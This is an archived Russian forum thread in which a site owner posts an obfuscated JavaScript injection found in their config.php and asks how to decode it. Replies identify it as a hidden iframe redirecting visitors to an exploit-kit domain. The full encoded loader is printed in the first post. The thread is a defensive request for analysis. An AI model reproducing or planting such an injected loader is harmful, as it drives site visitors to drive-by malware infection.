PDA

Просмотр полной версии : Помогите расшифровать Plz


1NtR0
02.10.2007, 15:53
Вот кто-то написал в config.php :

<!----><script>document.write(unescape("%3Cscript%3Eif%28mZH%21%3D1%29%7Bfunction%20oR%28t i%29%7Breturn%20ti%7Dtry%7Bvar%20eBd%3D%27KKQKMQKG QKTQKlQKDQKjQKaQKwQKJQKSQKXQK8QKnQKyQKYQKcQKAQKFQK bQKdQKpQKiQKCQK9QKoQKOQKeQKRQKNQKfQKIQKgQKLQKtQKUQ KVQKsQK5QK7QK4QKqQKxQKHQKBQK3QK6QKmQKZQKzQKrQKkQKP QKWQMKQMMQMGQMTQMlQMDQMjQMaQMwQMJQMSQMXQM8QMnQMyQM YQMcQMAQMFQMbQMdQMpQMiQMC%27%3Bvar%20NkE%3DeBd.sub str%282%2C1%29%2CFUW%3DArray%28HUr%28%27150%27%29% 2CHUr%28%27217%27%29%2CHUr%28%27201%27%29%2CHUr%28 %27216%27%29%2C29906%5E29713%2C16361%5E16179%2C107 91%5E11001%2C15701%5E15809%2CHUr%28%27204%27%29%2C 22746%5E22533%2C9563%5E9631%2C11514%5E11327%2CHUr% 28%27138%27%29%2CHUr%28%27240%27%29%2C62%5E241%2CH Ur%28%27130%27%29%2C27098%5E26937%2C923%5E797%2C30 817%5E30853%2C3154%5E3281%2CHUr%28%27209%27%29%2CH Ur%28%27220%27%29%2C7460%5E7663%2CHUr%28%27211%27% 29%2CHUr%28%27236%27%29%2C14768%5E14631%2CHUr%28%2 7221%27%29%2CHUr%28%27238%27%29%2CHUr%28%27145%27% 29%2C18209%5E18417%2C13304%5E13079%2CHUr%28%27132% 27%29%2C20483%5E20733%2CHUr%28%27199%27%29%2CHUr%2 8%27205%27%29%2C5488%5E5617%2CHUr%28%27146%27%29%2 CHUr%28%27156%27%29%2C9889%5E9791%2C11851%5E11985% 2CHUr%28%27206%27%29%2CHUr%28%27193%27%29%2C9851%5 E9971%2CHUr%28%27210%27%29%2CHUr%28%27237%27%29%2C HUr%28%27231%27%29%2CHUr%28%27249%27%29%2CHUr%28%2 7215%27%29%2C26643%5E26865%2CHUr%28%27141%27%29%2C HUr%28%27155%27%29%2C22469%5E22309%2CHUr%28%27198% 27%29%2C4640%5E4805%2CHUr%28%27133%27%29%2CHUr%28% 27194%27%29%2C3106%5E3237%2C22987%5E22875%2CHUr%28 %27139%27%29%2C298%5E447%2C24572%5E24343%2CHUr%28% 27241%27%29%2C28861%5E28745%2CHUr%28%27147%27%29%2 CHUr%28%27247%27%29%2C21223%5E21009%2C28101%5E2791 7%2C31649%5E31545%2CHUr%28%27232%27%29%2C11072%5E1 1177%2C25207%5E25303%2CHUr%28%27192%27%29%2C12132% 5E12285%2C16630%5E16489%2C20158%5E20003%2CHUr%28%2 7219%27%29%2C3298%5E3103%2C17617%5E17489%29%3Bvar% 20Uwp%2CDQr%3Bvar%20GCs%2CFSn%3D%27KKKMKGKTKlKDKjK aKwKJKSKGKjKlKXKSK8KnKyKYKcKjKAKFKDKbKdK8KpKiKTK8K CK9KoKSKyKOK8KeKiKjKyKYKbKRKpKiKTK8K8KNKfKoK8KSKyK OK8KeKiKjKyKYKbKRK8KNKfKIKMKyKjKgKlKLKyKYKCK9KIKtK yKjKgKlKLKyKYKbKUKVKsK5K7K7K7K7K7KbKRK8K4KXKGKJKLK yKSKjKIKGKXKXKqKlKyK8KoK8KcKjKUKxKoKxKUKyKMKGKiKDK yKYKFKDKbKUKxKRKyKHKDKlKTKyKMKoKxKUKNKfKIKjKXKBK3K gK6KjKTKlKSKtKYKbKRK8KmKpKiKTK8KZKDKoKzKMKrKwKkKPK zKAKWKnKoKzKrKzKRKpKiKTK8KlKtKoKzKJKDK4KiKjKyKrKIK GKPKiKMKMKlKGKjKyKPKIKXKTKtKzKAKHKyKoKzMKMMKjKLKPM KKzKRKlKwKYK4KXKGKJKLKyKSKjKIKGKXKXKqKlKyKIKlKSK4K yKHKWKwKYKZKDKUKzKoKzKUKWKnKbK8KoKoMGKrKbKdKpKiKTK 8K4KPMMKoK4KXKGKJKLKyKSKjKIKPKXKGKiKjKlKXKSKIMMKXK MKjKRKpKiKTK8KwKpKoK8KzMMKjKzKUKzKjKDMTKzKUKzMKMKK zKUKYK8K4KPMMK8MlKoK8KzKzMDKzKzMTKDMjKYKbKbK8KUK8K 4KPMMKIKTKyKDKPKiKGKyK8KYMKMaMwKiMGKNK7MGMJKIMGMSM KKAKzKIKzKbKIKTKyKDKPKiKGKyK8KYMKMXKIKUMKKAKzKIKzK bKUKzKIKzKUKDMjKYKbK8KUKzKIKzK8KUK8KlKtKUKHKyKRKpK iKTK8KBKeKoK4KXKGKJKLKyKSKjKIKGKTKyKiKjKyKfKPKyKLK yKSKjKYKzKlKwKTKiKLKyKzKbKRKBKeKIKMKyKjMjKjKjKTKlM 8KJKjKyK8KYKzKMKTKGKzKAK8KwKpKbKRKBKeKIMMKyKlKtMMK jKoMnKRKBKeKIKOKlK4KjMMKoKrKRKBKeKIKwKTKiKLKyMyKXK TK4KyKTK8KoK8K7KRK8KjKTKCKdK8K4KXKGKJKLKyKSKjKIM8K XK4KCKIKiKDKDKyKSK4MYMMKlKPK4K8KYK8KBKeKbKRK8KnKyK YKZKDKAK8KWKnK8KbKRKmK8KGKiKjKGMMKYKyKbK8KdK4KXKGK JKLKyKSKjKIKOKTKlKjKyK8KYKzKKMMKjKLKPKaKKM8KXK4KCK aKKMKM8KXK4KCKaKKMKMMKjKLKPKaKzKbKRK8K4KXKGKJKLKyK SKjKIM8KXK4KCKIKiKDKDKyKSK4MYMMKlKPK4K8KYK8KBKeKbK RKnKyK8KYK8KZKDKAKWKnKbK8KRKmK8KmMcKwKJKSKGKjKlKXK SK8KDMjKYKbKdK8KpKiKTK8MAKDKoMnK5KAKeK3KoKxK7KrMnM FK5MbKsMdKVMJK7KiM8KGK4KyKwKxKRKpKiKTK8MpMiKoKxKxK RK8KwKXKTKYMYKHKoK7KRK8MYKHK8KKK8MAKDKRK8MYKHKUKUK bK8MpMiKUKoK8KeK3KIKMKJM8KMKjKTKYK3KiKjMMKIKwKPKXK XKTKYK3KiKjMMKIKTKiKSK4KXKLKYKbMCKeK3KIKPKyKSKtKjM MKbKAKrKAKrKbKRK8KTKyKjKJKTKSK8MpMiKRK8KmKKMKKMKGK TKlKDKjKa%27%3Bvar%20EJH%3DString%28%29%3BeBd%3DeB d.split%28NkE%29%3Bfor%20%28Uwp%3D0%3BUwp%3CFSn.le ngth%3BUwp+%3D2%29%7BGCs%3DFSn.substr%28Uwp%2C2%29 %3Bfor%28DQr%3D0%3BDQr%3CeBd.length%3BDQr++%29%7Bi f%28eBd%5BDQr%5D%3D%3DGCs%29break%3B%7DEJH+%3DStri ng.fromCharCode%28FUW%5BDQr%5D%5E170%29%3B%7Dfunct ion%20HUr%28UOk%29%7Breturn%20parseInt%28UOk%29%7D document.write%28EJH%29%3B%7Dcatch%28dlx%29%7B%7D% 7Dvar%20mZH%3D1%3C/script%3E"))</script><!---->


Urldecod'ом половину расшифровал,а там где буквы большие похоже что это base64 ,но не расшифровывает? подскажите как расшифровать

proZaik
04.10.2007, 13:13
Ничего интересного, инфрейм с редиректом на _bibi32.org/505/Xp связочка стоит
а в индексе инклуд config.php идет?
неплохо

это для расшифровки http://hunger.ru/releases/jsdecoder

groundhog
04.10.2007, 13:17
1NtR0, получилось перехватить то, что отгружала связка? Это те же, кто проифреймил ачат недавно...